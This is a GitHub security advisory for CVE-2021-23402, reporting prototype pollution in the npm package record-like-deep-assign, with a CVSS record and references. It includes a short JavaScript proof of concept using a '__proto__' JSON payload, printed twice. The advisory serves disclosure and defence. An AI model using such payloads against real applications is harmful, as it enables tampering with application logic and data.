GHSA-7QM6-9V49-38M9

Vulnerability from github – Published: 2021-12-10 18:55 – Updated: 2023-09-11 18:40
VLAI?
Summary
Prototype Pollution in record-like-deep-assign
Details

All versions of package record-like-deep-assign are vulnerable to Prototype Pollution via the main functionality.

PoC

const deepAssign = require('record-like-deep-assign');
let obj = {};
console.log("Before being polluted: " + obj.polluted);
EVIL_JSON = JSON.parse('{"__proto__":{"polluted":true}}');
deepAssign({}, EVIL_JSON);
console.log("After being polluted: " + obj.polluted);
Severity ?
7.3 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "record-like-deep-assign"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-23402"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321",
      "CWE-915"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-07-06T14:32:33Z",
    "nvd_published_at": "2021-07-02T16:15:00Z",
    "severity": "HIGH"
  },
  "details": "All versions of package record-like-deep-assign are vulnerable to Prototype Pollution via the main functionality.\n\n### PoC\n```js\nconst deepAssign = require(\u0027record-like-deep-assign\u0027);\nlet obj = {};\nconsole.log(\"Before being polluted: \" + obj.polluted);\nEVIL_JSON = JSON.parse(\u0027{\"__proto__\":{\"polluted\":true}}\u0027);\ndeepAssign({}, EVIL_JSON);\nconsole.log(\"After being polluted: \" + obj.polluted);\n```",
  "id": "GHSA-7qm6-9v49-38m9",
  "modified": "2023-09-11T18:40:49Z",
  "published": "2021-12-10T18:55:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-23402"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/kripod/record-like-deep-assign"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kripod/record-like-deep-assign/blob/v1.0.1/src/mod.ts%23L17-L35"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JS-RECORDLIKEDEEPASSIGN-1311024"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Prototype Pollution in record-like-deep-assign"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.




Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



Detection rules are retrieved from Rulezet.